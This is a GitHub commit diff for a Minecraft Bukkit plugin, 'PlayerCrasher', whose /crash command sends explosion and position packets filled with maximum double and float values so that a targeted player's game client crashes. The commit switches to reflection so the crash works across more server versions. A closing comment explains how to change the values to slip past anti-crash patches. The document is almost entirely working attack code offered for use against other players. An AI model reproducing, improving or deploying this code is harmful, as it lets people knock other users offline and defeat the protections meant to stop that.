Skip to content

Commit

Permalink
Now using reflection, more server versions will work!
Browse files Browse the repository at this point in the history
Improved code
  • Loading branch information
Marcelektro committed Nov 1, 2021
1 parent 2b7c28d commit 57046d6
Show file tree
Hide file tree
Showing 4 changed files with 156 additions and 63 deletions.
9 changes: 7 additions & 2 deletions src/crash/players/Main.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,16 +4,21 @@
import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;

/*
* Hello!
/**
* Hello! :D
* Welcome to my Crasher Plugin XD
*
* You can do anything you want to do with it :D
*
* Just don't crash good people, only these bad ^^
*
* Have fun!
* Marcelektro
*/

public class Main extends JavaPlugin {
public static final String PREFIX = "§3§lUwU §8» ";

@Override
public void onEnable() {
Bukkit.getLogger().info("§cEnabled PlayerCrasher by Marcelektro, UwU");
Expand Down
68 changes: 36 additions & 32 deletions src/crash/players/commands/CrashCommand.java
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
package crash.players.commands;

import crash.players.Main;
import crash.players.crasher.CrashType;
import crash.players.crasher.CrashUtils;
import org.bukkit.Bukkit;
Expand All @@ -11,43 +12,46 @@
public class CrashCommand implements CommandExecutor {
@Override
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
if (sender.hasPermission("core.crash")) {
if (args.length == 2) {
if (Bukkit.getPlayer(args[0]) != null) {
Player p = Bukkit.getPlayer(args[0]);

CrashType crashMethod;
if (args[1].equalsIgnoreCase("explosion")) {
crashMethod = CrashType.EXPLOSION;
} else if (args[1].equalsIgnoreCase("position")) {
crashMethod = CrashType.POSITION;
} else if (args[1].equalsIgnoreCase("all")) {
crashMethod = null;
} else {
sender.sendMessage("§3§lUwU §8» §cNo such crash method exists!");
return false;
}

if (crashMethod == null) {
for (CrashType lol : CrashType.values()) {
CrashUtils.sendDeadlyPacket(p, lol);
sender.sendMessage("§3§lUwU §8» §aCrashed §2" + p.getName() + " §awith §3" + lol.name() + "§a packet!");
}
return true;
}


CrashUtils.sendDeadlyPacket(p, crashMethod);
sender.sendMessage("§3§lUwU §8» §aCrashed §2" + p.getName() + " §awith §3" + crashMethod.name() + "§a packet!");
} else {
sender.sendMessage("§3§lUwU §8» §cPlayer you specified doesn't exist!");
if (!sender.hasPermission("core.crash")) {
sender.sendMessage(Main.PREFIX + "§cInsufficient permissions!");
return false;
}

if (args.length == 2) {
Player target = Bukkit.getPlayer(args[0]);

if (target == null) {
sender.sendMessage(Main.PREFIX + "§cPlayer you specified is offline!");
return false;
}

String method = args[1];

// Handle crashing with all methods
if (method.equalsIgnoreCase("all")) {
for (CrashType crashType : CrashType.values()) {
CrashUtils.crashPlayer(sender, target, crashType);

}
return true;
}

// Handle crashing with specific method
CrashType type = CrashType.getFromString(method.toUpperCase());

if (type != null) {
CrashUtils.crashPlayer(sender, target, type);
return true;
} else {
sender.sendMessage("§3§lUwU §8» §cUsage: §b/crash <player> <explosion/position/all>!");
sender.sendMessage(Main.PREFIX + "§cMethod " + method + " doesn't exist!");
return false;
}


} else {
sender.sendMessage("§3§lUwU §8» §cNo sufficient permissions!");
sender.sendMessage(Main.PREFIX + "§cUsage: §b/crash <player> <explosion/position/all>!");
}

return true;
}
}
15 changes: 14 additions & 1 deletion src/crash/players/crasher/CrashType.java
Original file line number Diff line number Diff line change
Expand Up @@ -2,5 +2,18 @@

public enum CrashType {
EXPLOSION,
POSITION
POSITION;

public static CrashType getFromString(String s) {

for (CrashType type : values()) {
if (type.name().toLowerCase().contains(s.toLowerCase())) {
return type;
}
}

return null;

}

}
127 changes: 99 additions & 28 deletions src/crash/players/crasher/CrashUtils.java
Original file line number Diff line number Diff line change
@@ -1,40 +1,111 @@
package crash.players.crasher;

import net.minecraft.server.v1_8_R3.PacketPlayOutExplosion;
import net.minecraft.server.v1_8_R3.PacketPlayOutPosition;
import net.minecraft.server.v1_8_R3.Vec3D;
import org.bukkit.craftbukkit.v1_8_R3.entity.CraftPlayer;
import crash.players.Main;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.List;
import java.util.Set;

public class CrashUtils {
public static void sendDeadlyPacket(Player victim, CrashType crashType) {
switch (crashType) {
case EXPLOSION:
PacketPlayOutExplosion explosionPacket = new PacketPlayOutExplosion(
Double.MAX_VALUE,
Double.MAX_VALUE,
Double.MAX_VALUE,
Float.MAX_VALUE,
Collections.emptyList(),
new Vec3D(Double.MAX_VALUE, Double.MAX_VALUE, Double.MAX_VALUE));

((CraftPlayer)victim).getHandle().playerConnection.sendPacket(explosionPacket);
break;
case POSITION:
PacketPlayOutPosition positionPacket = new PacketPlayOutPosition(
Double.MAX_VALUE,
Double.MAX_VALUE,
Double.MAX_VALUE,
Float.MAX_VALUE,
Float.MAX_VALUE,
Collections.EMPTY_SET);

((CraftPlayer)victim).getHandle().playerConnection.sendPacket(positionPacket);
break;
private static final String serverVersion;

static {
String path = Bukkit.getServer().getClass().getPackage().getName();
serverVersion = path.substring(path.lastIndexOf(".") + 1);
}

/**
* Crash a player hehe
*
* @param victim A player, which you want to crash
* @param crashType The method you want to crash them with
*/
public static void crashPlayer(CommandSender crasher, Player victim, CrashType crashType) {
try {
switch (crashType) {
case EXPLOSION:

// Vec3D with fat arguments
Class<?> Vec3D = Class.forName("net.minecraft.server." + serverVersion + ".Vec3D");
Constructor<?> vec3DConstructor = Vec3D.getConstructor(double.class, double.class, double.class);
Object vec3d = vec3DConstructor.newInstance(
d(), d(), d());

// PacketPlayOutExplosion with fat arguments
Class<?> PacketPlayOutExplosion = Class.forName("net.minecraft.server." + serverVersion + ".PacketPlayOutExplosion");
Constructor<?> playOutConstructor = PacketPlayOutExplosion.getConstructor(
double.class, double.class, double.class, float.class, List.class, Vec3D);
Object explosionPacket = playOutConstructor.newInstance(
d(), d(), d(), f(), Collections.emptyList(), vec3d);

sendPacket(victim, explosionPacket);

break;
case POSITION:

// PacketPlayOutPosition with fat arguments
Class<?> PacketPlayOutPosition = Class.forName("net.minecraft.server." + serverVersion + ".PacketPlayOutPosition");
Constructor<?> playOutPositionConstructor = PacketPlayOutPosition.getConstructor(
double.class, double.class, double.class, float.class, float.class, Set.class);
Object posPacket = playOutPositionConstructor.newInstance(
d(), d(), d(), f(), f(), Collections.emptySet());

sendPacket(victim, posPacket);

break;
}

crasher.sendMessage(Main.PREFIX + "§aCrashed §2" + victim.getName() + " §ausing §3" + crashType.name() + " §amethod!");

} catch (Exception e) {

crasher.sendMessage(Main.PREFIX + "§cFailed to crash §e" + victim.getName() + " §eusing " + crashType.name() + " §cmethod!");

System.err.println("[CRASHER] Failed to crash " + victim.getName() + " using " + crashType.name() + "!");
e.printStackTrace();
}

}

/**
* Sends a NMS packet to a given player
*
* @param player To whom is the packet sent
* @param packet The packet to be sent
* @throws Exception when something goes wrong
*/
private static void sendPacket(Player player, Object packet) throws Exception {

Class<?> craftPlayer = Class.forName("org.bukkit.craftbukkit." + serverVersion + ".entity.CraftPlayer");
Object craftPlayerObject = craftPlayer.cast(player);

Method getHandleMethod = craftPlayer.getMethod("getHandle");
Object handle = getHandleMethod.invoke(craftPlayerObject);
Object pc = handle.getClass().getField("playerConnection").get(handle);

Class<?> Packet = Class.forName("net.minecraft.server." + serverVersion + ".Packet");
Method sendPacketMethod = pc.getClass().getMethod("sendPacket", Packet);

sendPacketMethod.invoke(pc, packet);

}

// Below are the numbers that you can modify to bypass anticrash.

// Most cheat clients patched this by cancelling MAX_VALUE packets.
// Change this to something lower such as half of double value.

private static Double d() {
return Double.MAX_VALUE;
}

private static Float f() {
return Float.MAX_VALUE;
}

}

0 comments on commit 57046d6

Please sign in to comment.